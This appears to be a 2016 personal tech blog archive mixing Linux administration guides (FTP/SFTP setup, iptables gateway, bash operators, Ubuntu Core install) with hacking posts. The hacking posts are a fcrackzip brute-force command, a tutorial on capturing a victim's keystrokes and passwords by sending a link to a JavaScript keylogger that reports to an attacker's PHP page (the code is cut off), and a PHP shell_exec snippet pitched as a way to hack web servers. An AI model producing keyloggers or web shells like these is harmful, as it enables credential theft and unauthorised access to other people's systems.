Wednesday, October 19, 2016

Crack ZIP file's password using KALI

Using fcrackzip tool we can crack zip files password in kali.
Use the following command to crack zip file

 fcrackzip -b -c 'aA1!' -l 1-10 -u  file_name.zip


fcrackzip is the tool

b - use Brute forcing
c - character set (a - lower case, A-upper case, 1 - Numbers, ! - symbols.)
l - length of the password for bruteforce

Thursday, August 25, 2016

Install and configure sftp server on Ubuntu Server

Install VSFTPD 

sudo apt-get install vsftpd

Configuring VSFTPD.

open /etc/vftpd.conf file

Uncomment the following lines ;

write_enable=YES
local_umask=022 

chroot_local_user=YES  

Add the following line at the end of the file.

allow_writeable_chroot=YES


Now restart vsftpd.
Create a user for ftp and prevent use bash shell

sudo useradd -m john -s /usr/sbin/nologin
 sudo passwd john

Now open /etc/shells  file and add the following to the end of the file.

/usr/sbin/nologin

You can now connect using ftp to the server. But this is not protected. Any one can intercept with your traffic. You should use SSH FTP to secure the connection.

Install Open-SSH





sudo apt-get install openssh-server

Configure ssh to use in ftp.

For secure reason we should add a specific group for sshftp sessions. And add authorized users to that account.

sudo groupadd ftpgroup

sudo groupadd ftpuser


Configure ssh config file. 



Open /etc/ssh/sshd_config file,

Find the  Subsystem sftp .... line and edit it as follows
Subsystem sftp internal-sftp

And add the following to the end
Match group ftpgroup

For comprehensive understanding about sshd_config file type the following in terminal.
man sshd_conifg

 


Thursday, July 28, 2016

Must have apps for Hackers' mobile phones

Recently there is a post on flashpoint-intel.com about the Jihad's technologies used for their anonymity and other purposes in Mobiles. Here I will classify that article more details can be find at the above link.


When we go through that article we can see Jihads has very focused on mobile security with android. We will go by each category that they have used.

Secure Browsers.


Our mostly faithful browser is TOR. Jihads also using TOR browser for their internet surf but they are using additional layer of security also instead of the layer built-in TOR. Because now NSA has intervene with TOR.

Instead of TOR they are using Opera Browser also. The reason for this selection is because the new Opera provide free VPN service along with the browser. So they can mask their IP while browsing.

Friday, April 29, 2016

Hack only sending a link(Java script key logger)

Key loggers are very funny and my favourite way of hacking. So in this article we are going to take look at how send a link to someone who you needed to attack, take his/ her key logs / Passwords / what's he/she chatting by just sending a ling to the victim.

For this we are using java scripts which is run on client side and php which is going to run on server side. So this is the setup,

Firstly we are creating two pages. One is html page which we are going to include our java script and the other is php page which is going to save all the key logs return from the remote victim. After we created those two pages we are sending the link to our html page to the victim. When the victims go to that link and when he is typing all key logs going to be saved on our server.

So here is the java script which you need to include in html page.

----------------------------------------------------------------------------------------------------------
<html>
<script lang=javascript type=text/javascript>
var buffer = [];
var attacker = '/k.php?c='

Wednesday, March 9, 2016

Activate Network Applet in Ubuntu Mate

Ubuntu mate is very eye catching and customizable linux flavour which I've used.

But in ubuntu mate most of times the nm-applet which is showing our network connections and settings (by the way most important applet) is not showing at startup. So we are unable to connect between different network connections same time (LAN , Wi-Fi , Mobile broadband connections.)

To make appear the nm-applet (Network Manager) on the notification area follow the steps.



sudo nano /etc/xdg/autostart/nm-applet.desktop

Remove the following line from this

AutostartCondition=GNOME3 unless-session gnome

and save it.

Then

sudo nano /home/lionel/.config/autostart/nm-applet.desktop

Take a lookat the following line

 X-MATE-Autostart-enabled=false

if it's false like this change it to "true"

Now logout and login from your machine.

Check it's ok

If not,

sudo nano /etc/NetworkManager/NetworkManager.conf

Take a look at for the foll lowing line

[ifupdown]
managed=false

if it's false change it to "true"

save it, logout and login.

Check whether now you have the nm-applet.


else install the following

sudo apt-get install indicator-applet-complete



Friday, March 4, 2016

How to create multi-boot pen drive (Windows, Linux, utilities)


IT Support, Help Desk guise, IT Administrators will like this post very much. Because they are the people mostly facing to re-install the OSes for their users. For some IT Administrators and Help desk guise format and installing the new OS is the only option they have for every issue. So here i'm going to giving you a superb tool to make multi-boot pen drive.

What is a multi-boot pen drive. It contains number of OSes which can be boot and you can install through a menu. That's mean you don't need to maintain number of CDs or pen drives to installing OS. Using single thumb drive now you can do you job very flexibly.

Easy2Boot



This is the tool we are going to use. I tried numerous tools but all are best support with linux and other utilities. Even if they support windows they are only support older versions of windows such as XP, windows 7, Vista. But Easy2Boot Support many Linux distributions and at the same time It supports all the windows versions (server 2008 R2, 2012, 2016, windows XP, Vista, 7, 8, 10). And WinPE also can be include. So this is great. Let's look at how to make multi-boot usb drive.

download the Easy2Boot

Download the Easy2Boot from this link http://files.easy2boot.com/200001598-aad9babd08/Easy2Boot_v1.77ADPMS.zip

Or go to Easy2Boot official site : http://www.easy2boot.com/

Go to Download Section and Download the Download E2B+DPMS

Extract the Files in to a folder.

Extract the downloaded files into a folder. Plug your USB drive to the machine. Go to the extracted folder and run "MAKE_E2B_USB_DRIVE (run as admin)" bat file. Remember to run this in administrator permission. It will ask for format the pen drive and format it from NTFS. After format the USB it will copy the E2b files to the pen drive and press enter to exit after finished the copying.

Copy the ISO Files

Then go to your pen drive and then go to "_ISO" folder. Copy the ISO files that you needed to be installed to make bootable. Put them as Categorized in this folder. When you put some iso in "MAINMENU" folder it will goes to the main menu. Put the Windows ISOs in the "WINDOWS" folder.

Run MAKE_THIS_DRIVE_CONTIGUOUS

Now come again to your pen drive's root directory and run the  MAKE_THIS_DRIVE_CONTIGUOUS bat file. After it's done you are ready to use the pen drive as a multi-boot pen drive.


It's so simple like this using Easy2boot free tool.

Now boot your machines from this drive and check.


 

Thursday, February 25, 2016

Using cheat for getting help with unix commands.


There are lots of tools and commands in unix systems for various purposes. Some tools we need in our day to day activities but some tools are using very rarely. For both of these instances most of time we are facing forgetting the commands that relevant to a tool or a command. Even a tool that we are using daily sometimes we are getting trouble when we execute some commands we have not been used previously. And also sometimes even if we know the command we may forgot what actual does that command. So to identify those things there is a great tool called Cheat.

Using cheat in terminal you can get the usage of most of the unix tools and commands. And it's not like man. It gives us "what you want to do? and here is the command for it". 

How to install cheat?
If you have installed python simply run the following command



sudo pip install cheat

After you have installed  cheat you can just type cheat on the terminal and the tool which you need to get the details.

example:

Assume you need to get the commands related to tar

cheat tar

using the above command you can get the help of tar.

 You can also add your own cheats also. To add your own cheats or custom cheats that some one else has made, go to the ~/ .cheat/ and past the cheat file that you've created or the custom one.

you can run the cheats as above.

Tuesday, February 23, 2016

Config CentOS as Gateway / Firewall mode

We can use Cent OS as a gateway in a network to implement other function as a firewall also. So here are steps.

Firstly if you have not installed iptables install it as follows.

Debian

apt-get install iptables-services

Redhat

yum install iptables-services

It is important to install iptables-services packages.


1) Load the modules.

This is not need to done in newer linux versions.

modprobe ip_conntrack
modprobe ip_conntrack_ftp
modprobe ip_conntrack_irc
modprobe ip_nat_ftp

2) Disable ECN if enabled.



If ECN (Explicit Notification Congesion) enabled will slow down the connection.

echo 0 > /proc/sys/net/ipv4/tcp_ecn


3) Enable ipv4 forwading

echo 1 > /proc/sys/net/ipv4/ip_forward
or
sudo sysctl -w net.ipv4.ip_forward=1

Remember.. This will only temporary enable the ipv4 forwarding. When ever you restarted the network service or reboot the system this will disabled. To enable this on boot follow the below commands


nano /etc/sysctl.conf

Then you will open up for edit the sysctl.conf file. At the end of file add the following line.

net.ipv4.ip_forward = 1

If this line already exist with "= 0", change it to "= 1"
If this line already exist with "#" infront of the line, remove the "#"

4) Flushing the existing iptables rules.

$iptables -F INPUT
$iptables -F OUTPUT
$iptables -F FORWARD
$iptables -F -t nat

iptables -F -t nat, this will remove all rules in nat table. (by default iptables work with filter table. So it is important to flush the nat table in our case)

5) Defining the standard policy

The syntax for this is as follows

iptables -P "chain" "action"

With -P we can define default policy.
What is default policy. Why we are adding a default policy.

Every firewall has a default policy. It may be a accept or drop. Default policy is the last rule of the firewall after it has matched all the rules that we have given. Let's say firewall received a ip packet. It goes with all the entries in it's table for find what do with this packet. is it forward or drop it. So in here if the firewall couldn't find any matching in it's entries with the IP packet it will do the last action which is the default policy. If default policy is Drop, it will drop the packet. If its Accept, it will forward the packet.

$iptables -P INPUT DROP
$iptables -P OUTPUT ACCEPT
$iptables -P FORWARD ACCEPT

In here  i have put DROP as the default policy for INPUT chain. Because i don't want to go through my firewall unwanted packets.

now the network we are going to face is as follow

(localnetwork with some PCs) ----[firewall(centos)]---(ADSL router)

In this local network it may be contain no. of PCs. Each PC has a certain IP address which belongs to same subnet. We will call this network as localnet

Firewall has 2 interfaces which are localint( ip of the localint is localaddr) and publicint (ip address of the publicint is publicaddr)

ADSL router is the Gateway for us.


And please consider another few things. When i mention localnet it should be with subnet mask of the local network.

ex:
192.168.1.0/24

When I mention any it means any network/ any ip. You should consider it as 0.0.0.0/0
This is how we indicate any network.

6) Allowing access from the local network

$iptables -A INPUT -s $localnet -d $localaddr -j ACCEPT
$iptables -A INPUT -s $localnet -d $publicaddr -j ACCEPT

7) Allowing the packet goes from our local interface

$iptables -A INPUT -i lo -j ACCEPT

8) Allowing secure connections to establish

$iptables -A INPUT -s $any -d $publicaddr -m state --state ESTABLISHED,RELATED -j ACCEPT

9) Masquerade the local network to the public network (NATing)

$iptables -t nat -A POSTROUTING -s $localnet -d $any -j MASQUERADE


How to save configured iptables rules and make it work on boot.

Up to now we have setup the iptables rules. But if we reboot or restart the iptables service all the rules will be deleted that we have made. So we need to save them.

Save iptables rules in a seperate file

We can save the iptables rules in a separate file for restore later. To do this follow the command

iptables-save > "file you want to save as"

ex ;

iptables-save > /etc/iptables-save

Then it will be save as you named it.
To restore the iptables rules from that saved file simply run

iptables-restore < "the rules file that you saved"

check whether the rules has been restored by running
iptables -L

Save iptables rules in boot

To enable the iptables rules that we have created firstly we have to edit /etc/sysconfig/iptables-config

nano /etc/sysconfig/iptables-config

in that file find the following lines.

IPTABLES_SAVE_ON_STOP="no"

IPTABLES_SAVE_ON_RESTART="no"

find those two lines and change the "no" to "yes"

Then after you have change all iptables rules simply run the following command to save the iptables rules in /etc/sysconfig/iptables file.

service iptables save

all the current iptables rules will rewrite to iptables file and after you rebooted they will saved as they were.

if you need to enable the iptables service at boot simply run the following command

systemctl enable iptables



You can find the details of IPTABLES and how it works in the following link

http://www.karlrupp.net/en/computer/nat_tutorial

Its a very good link for this.

If you want to learn deeper and more precisely about iptables please refer the following link. It is best for this.

http://www.linuxhowtos.org/Security/iptables.htm



Reference ;
https://www.centos.org/forums/viewtopic.php?t=38943

Linux shell with effective way (ways to use it)

Here we are going to focus on linux / unix shell with specific symbols which we can use the shell in effective manner.

The symbols are,
|, \ , &, &&, [], [[]], (), {} 

These symbols are very usefull in bash.

Using pipe symbol in shell

| the pipe sign can use to pipe the output of a command. simply it's forwarding what have in stdout in to stdin.

ex:
ls /etc | grep gtk

here we get the output of the ls /etc and put it into the grep gtk  command as an input to that command.


Logical Operators.




Ampersand Operator (&)

The function of ‘&‘ is to make the command run in background. Just type the command followed with a white space and ‘&‘. You can execute more than one command in the background, in a single go.

Run one command in the background:

root@localhost:~$ ping ­www.google.com &

Run two command in background, simultaneously:
root@localhost:~$ apt-get update & apt-get upgrade &


2. semi-colon Operator (;)

The semi-colon operator makes it possible to run, several commands in a single go and the execution of command occurs sequentially.
root@localhost:~$apt-get update ; apt-get upgrade ; mkdir test

The above command combination will first execute update instruction, then upgrade instruction and finally will create a ‘test‘ directory under the current working directory.

3. AND Operator (&&)

The AND Operator (&&) would execute the second command only, if the execution of first command SUCCEEDS, i.e., the exit status of the first command is 0. This command is very useful in checking the execution status of last command.
For example, I want to visit website google.com using link command, in terminal but before that I need to check if the host is live or not.
root@localhost:~$ ping -c3 www.google.com && links www.google.com

4. OR Operator (||)

The OR Operator (||) is much like an ‘else‘ statement in programming. The above operator allow you to execute second command only if the execution of first command fails, i.e., the exit status of first command is ‘1‘.

For example, I want to execute ‘apt-get update‘ from non-root account and if the first command fails, then the second ‘links www.google.com‘ command will execute.

tecmint@localhost:~$ apt-get update || links www.google.com

In the above command, since the user was not allowed to update system, it means that the exit status of first command is ‘1’ and hence the last command ‘links www.google.com‘ gets executed.

What if the first command is executed successfully, with an exit status ‘0‘? Obviously! Second command won’t execute.

tecmint@localhost:~$ mkdir test || links www.google.com

Here, the user creates a folder ‘test‘ in his home directory, for which user is permitted. The command executed successfully giving an exit status ‘0‘ and hence the last part of the command is not executed.


5. NOT Operator (!)


The NOT Operator (!) is much like an ‘except‘ statement. This command will execute all except the condition provided. Let's assume a directory which exists some files with several .html files. We need to delete all files without deleting .html files. So we can use the following command for this.
 
root@localhost:~$ rm -r !(*.html)

do ls for confirm the files are exists.

6. AND – OR operator (&& – ||)


The above operator is actually a combination of ‘AND‘ and ‘OR‘ Operator. It is much like an ‘if-else‘ statement.

For example, let’s do ping to google.com, if success echo ‘Verified‘ else echo ‘Host Down‘.
tecmint@localhost:~/tecmint$ ping -c3 www.tecmint.com && echo "Verified" || echo "Host Down"

Sample Output

PING www.google.com (212.71.234.61) 56(84) bytes of data. 64 bytes from www.google.com (212.71.234.61): icmp_req=1 ttl=55 time=216 ms 64 bytes from www.google.com (212.71.234.61): icmp_req=2 ttl=55 time=224 ms 64 bytes from www.google.com (212.71.234.61): icmp_req=3 ttl=55 time=226 ms --- www.google.com ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2001ms rtt min/avg/max/mdev = 216.960/222.789/226.423/4.199 ms Verified

Now, disconnect your internet connection, and try same command again.

root@localhost:~/tecmint$ ping -c3 www.google.com && echo "verified" || echo "Host Down"

Sample Output

ping: unknown host www.google.com Host Down


\ Back slash

this operator will use when we writing long statement in the shell and if we want to break it in to several lines.


Test and [ ]

Test function is used in many language for check the condition of a expression (evaluate a expression). [ ] is similar to test.

[ "abc"="abc" ]

This tells check whether abc equals abc. if they are equals it returns 0(expression true). else 1(expression result False).

ex :

root@localhost:~$if [ "abc"="abc" ];then echo "equals";fi
root@localhost:~$equals

[[ ]] is same as [ ], but using it we can include number of commands with other operators.

We can use [ ] this for check whether if a file exists, check whether it's a file or a directory and so on. Here is a list of them.

some common file test

OperatorCharacteristic
-dDirectory
-eExists (also -a)
-fRegular file
-hSymbolic link (also -L)
-pNamed pipe
-rReadable by you
-sNot empty
-SSocket
-wWritable by you
-NHas been modified since last being read

Testing pair of files

Operator    True if
-nt                Test if file1 is newer than file 2. The modification date is used for this and         the next comparison.

-ot                Test if file1 is older than file 2.

-ef                Test if file1 is a hard link to file2.

 



You can get the actual result of test function using $?

ex:
root@localhost:~$[ -e /home ]; echo $?
root@localhost:~$0

Using parentheses in Shell

Parentheses can use for certain no. of instances.

1) Executing group of commands in a different shell(subshell) we can use ()

ex:
root@localhost:~$pwd
/home/user
root@localhost:~$(cd /tmp; pwd)
/tmp
root@localhost:~$pwd
/home/user

2) Defining an array,

array=(a b c d)

To iterate all the values in array use the following comand

echo ${array[@]}

arrayname[@] will result all values in the array.

3) Command substitution

Reassigns the output of a command. Even multiple command.

ex ;
var=$(ls /home/user/Documents)
echo $var
Output reassigned to var variable and it can be printed
similar to ' '

We can rewrite above command as follow

var=$'ls /home/user/Documents'
echo $var


Double parantheses

1) Integer arithmatic

((i=23))

2) Integer arithmatic with variable

v=$((45+34))
echo $v
 79

3) Variable increment or  decrement

var=1
((var++))
echo $var
2

4) In functions

for ((i=0; i<10; i++))



Curly braces

This is doing big part in bash.

1) Truncate the contents of a variable

$ var="abcde"; echo ${var%d*}
abc


This will remove all characters after "d" letter with the "d". It looks from right to left. That mean if d has number of occurrences, from the last "d" characters will removed.





2) Make substitutions similar to sed

$ var="abcde"; echo ${var/de/12}
abc12


3) Use a default value

$ default="hello"; unset var; echo ${var:-$default}
hello


4) And also can use for iterate strings as loops

$ echo f{oo,ee,a}d
food feed fad


$ mv error.log{,.OLD}
(error.log is renamed to error.log.OLD because the brace expression
expands to "mv error.log error.log.OLD")


$ for num in {000..2}; do echo "$num"; done
000
001
002


$ echo {00..8..2}
00 02 04 06 08



$ echo {D..T..4}
D H L P T

$Variable="abcdef"
$ echo Variable: ${VARIABLE}123456
    Variable: abcdef123456


5) Run block of code in the same shell

$ { date; top -b -n1 | head ; } >logfile
    # 'date' and 'top' output are concatenated,
    # could be useful sometimes to hunt for a top loader )

Deleting certain files in a directory

Assume a directory with three files named a.txt, b.txt and c.txt
You need to delete only a.txt and b.txt

rm /home/user/Documents/{a.txt,b.txt}

this will remove only those files.


Summary of all

  •  Brackets

    if [ condition ] # test construct
    if [[ condition ]] # extended test construct, similar to single, but is bash builtin
    Array[index]=element1 # array initialization
    [a-z] # range of characters in a regular expression

  • Curly Brackets

    ${variable} # parameter substitution
    ${!variable} # indirect variable reference
    { cmd1; cmd2; …; cmdN; } # block of code
    {string1,string2,…,stringN} # brace expansion
    {a..z} # extended brack expansion
    {} # text replacement, after find and xargs

  • Parentheses

    ( cmd1; cmd2; …; cmdN ) # command group executed within a subshell
    Array=(element1 element2 … elementN) # array initialization
    result=$(cmd) # command substitution like “
    >(cmd) # process substitution
    <(cmd) # process substitution

  • Double Parentheses

    (( var = 78)) # integer arithmetic
    var=$(( 20 + 5 )) # integer arithmetic with viriable assignment
    (( var++ )) (( var– )) # c-style variable increment/decrement
    (( var0 = var1<98?9:21 )) # c-style trinary operation

Hope this is very useful while using bash.


Referenced links ;
http://unix.stackexchange.com/questions/32210/using-single-or-double-bracket-bash
https://shunchaowang.wordpress.com/2015/03/06/bash-parentheses/
http://www.linuxjournal.com/content/bash-brace-expansion
http://stackoverflow.com/questions/8748831/bash-when-do-we-need-curly-braces-in-variables
http://www.tecmint.com/chaining-operators-in-linux-with-practical-examples/
http://mywiki.wooledge.org/BashFAQ/031
http://stackoverflow.com/questions/2188199/how-to-use-double-or-single-bracket-parentheses-curly-braces
https://bash.cyberciti.biz/guide/Logical_OR

Friday, February 19, 2016

How to open Shell on web server using PHP

Web servers are the most vulnerable for attacks. Because they directly connected with internet and also what are they meant to be. So for a hacker web server is a good start. Spidering web site, directory traversal, catching the x site scripts and finding holes in a web site is lead to a good hack. So here i'm going to explain a good trick to hack a web site using php script. But there should be some vulnerables in the particular web site in order to make this hack.

<?php
$output 
shell_exec('ls -lart');
echo 
"<pre>$output</pre>";?>


Friday, January 22, 2016

How to install Ubuntu Core and work with it

Ubuntu is the most popular Linux distro which handled by canonicals. It offers several installations which is customized such as gnome-ubuntu, ubuntu-core. Ubuntu core is a light version of ubuntu which is not a installation iso but its a file system to work with linux in minimal resources.

After you setup the Ubuntu core you get only the file system with Ubuntu repos, shell, grub and other initial items for linux. It is very good to try this out because this gives you a good knowledge of the linux file system how format the disk, how to install grub, how make the disk bootable, how will kernel interact with grub and so on.

Firstly you have to download the Ubuntu-core rootfs (root file system). You can download the ubuntu 14.04.3-core root file system in this link http://cdimage.ubuntu.com/ubuntu-core/releases/14.04/release/



Download the tar ball.Then you need a ubuntu live cd to boot the machine. Boot the machine using live CD and select try Ubuntu. Get the shell and type sudo gparted. Using gparted you can create, delete, format partitions and select which one should be the boot partition, which one is the swap and so on. Same thing can be done using fdisk also in terminal. To learn how to use fdisk follow this link. In this case using any preferred tool that you familiar create one partition including the whole size of the disk. After you create the partition the sdx will change to sdx1(x is the disk. may be a/ b/ c). And after that make it the boot partition. This can be done easily using gparted, right click on the partition create a flag. To do this in fdisk type 'a' after you created the partition and then type '1' . And make sure that the partition you've created is formated with ext4 format. Because other wise you would not be able install grub. You can easily format to ext4 in gparted but if you used fdisk to create the partition you can format the partition to ext4 format using the mkfs tool. Type the following command to do that.

mkfs.ext4 /dev/sda1

Now you have a partition to make you core file system and it's fs is ext4. So firstly you have to mount this partition to a folder in live boot cd. Because when  we are boot from live cd it's showing us the file system on that live cd. In order to access to the hard drive that you have you should mount that disk into some where in this live cd file system. We are going to mount our disk into /mnt directory. Type the following command to mount

sudo mount /dev/sda1 /mnt

Then your partition have mounted to the /mnt directory. Now go to your /mnt directory using cd /mnt . Now you are in your partition. Now we are going to extract the ubuntu core root file system in to our disk (/mnt). Firstly copy the ubuntu-core-rootfs tar file in to /tmp directory. Then execute the following command.

sudo tar -zxvf /tmp/ubuntucore-rootfilesystem.tar.gz

No error should be raised. Then go to /mnt directory and check whether there are files. You can see a file system in /mnt.

Now we have to copy the resolv.conf file because else the system cannot resolve dns. to  do this type

sudo cp /etc/resolv.conf /mnt/etc/resolv.conf

Now we should run the following command

for i in /dev /dev/pts /proc /sys; do sudo mount -B $i /mnt$i;  done

what this command does ? Before you execute this command check the /mnt/dev , /mnt/proc and /mnt/sys. Check after the command executed. You will see new files are there which was not before executing the command. This will mount the sub trees of the given directories(this case /dev /dev/pts /proc /sys) in to a mentioned directory (this case /mnt) which makes source directory content available in both destination and source directories. So the files inside live cd /dev /dev/pts /proc /sys are also available in /mnt/dev/ mnt/dev/pts /mnt/proc /mnt/sys.

Now we should chroot in /mnt inorder to execute commands in our new file system. What is chroot? In normal case you are root in live cd file system ( / ). But in this case we need to be the root file system is /mnt/ directory. Then only the changes that we are executing are affects to our new file system. Other wise our changes affects to live cd file system which will erased after reboot. So we should make chroot to /mnt directory. Type the following command

sudo chroot /mnt

If command worked now terminal should like root@ubuntu:~ 

Now we should install our linux kernel. To install kernel type the following command

apt-get update && apt-get install linux-{headers,image}-generic

If "failed to fetch" like error is on terminal try following.
edit the /etc/resolv.conf (actually in /mnt directory, /mnt/etc/resolv.conf) and at the end at the following
nameserver 8.8.8.8

Some times during the installation you may prompt to install grub. This is very important. Grub must be installed in order to boot in to kernel. When It's prompt to install grub using tab select the ok and press enter. Then you will ask to which disk you should install. You will see two or more options there make sure you are selected sda ('a' may change as to your setup.) and not sda1. You should select the device not the partition. After you highlight it using arrow keys press space bar to select it. then * mark will apear infront of it. Then using tab go to ok and press enter. Grub will install.

To make sure Grub installed correctly go to  /mnt/boot/ directory and see is there files like vmlinuz (kernel image), initrd and go to /mnt/boot/grub directory and check is there file called grub.cfg . If it's not there that means grub has not installed correctly. You have to reinstall it.

do apt-get update   # ***
note : *** is  necessary to retrieve grub packages.
 and
apt-get purge grub grub-pc grub-common

in any of above apt-get install or apt-get purge case if get an error saying use apt-get -f insatll to install the package type in the terminal

apt-get -f install

It will install, remove and upgrade relevant packages.

If you get an error in updating or apt-get install ing saying cannot resolve try ping internet host. Try to make the internet connection.

If every thing is ok you should have a file system in /mnt directory, grub.cfg file in /mnt/boot/grub, vmlinuz in /mnt/boot, initrd in /mnt/boot , resolv.conf in /mnt/etc

Now we should create a user and we should make the user to have root privileges.

type commands

useradd user_name
passwd user_name
when it's prompt to type a password type the preferred password

nano /etc/sudoers
we are editing this file to make our user to be root privileges.
the file content is as follows,
# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL
# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

This is the part we are going to change. Change it as follows
# User privilege specification
root    ALL=(ALL:ALL) ALL
user_name ALL=(ALL:ALL) ALL
# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

now reboot and enjoy Ubuntu core


     

Monday, January 18, 2016

How to recover files in Linux

Recovery is necessary thing  todays computer world because of the value of the computer data is higher. I have explained how a file can be recovered if it has been deleted and I have explain how it happen in a previous post. So in this post I'm going to discus a technique/ tool to recover files in Linux systems because there are lots of tools to achieve this on windows.

There are many command line tools to recover files in Linux systems which are working in different way. Here I will mention about the Testdisk tool which is very use full tool when recovering damaged hard disks also. In this article we are focusing only how to recover a file which has been deleted from the linux file system.

Installing Testdisk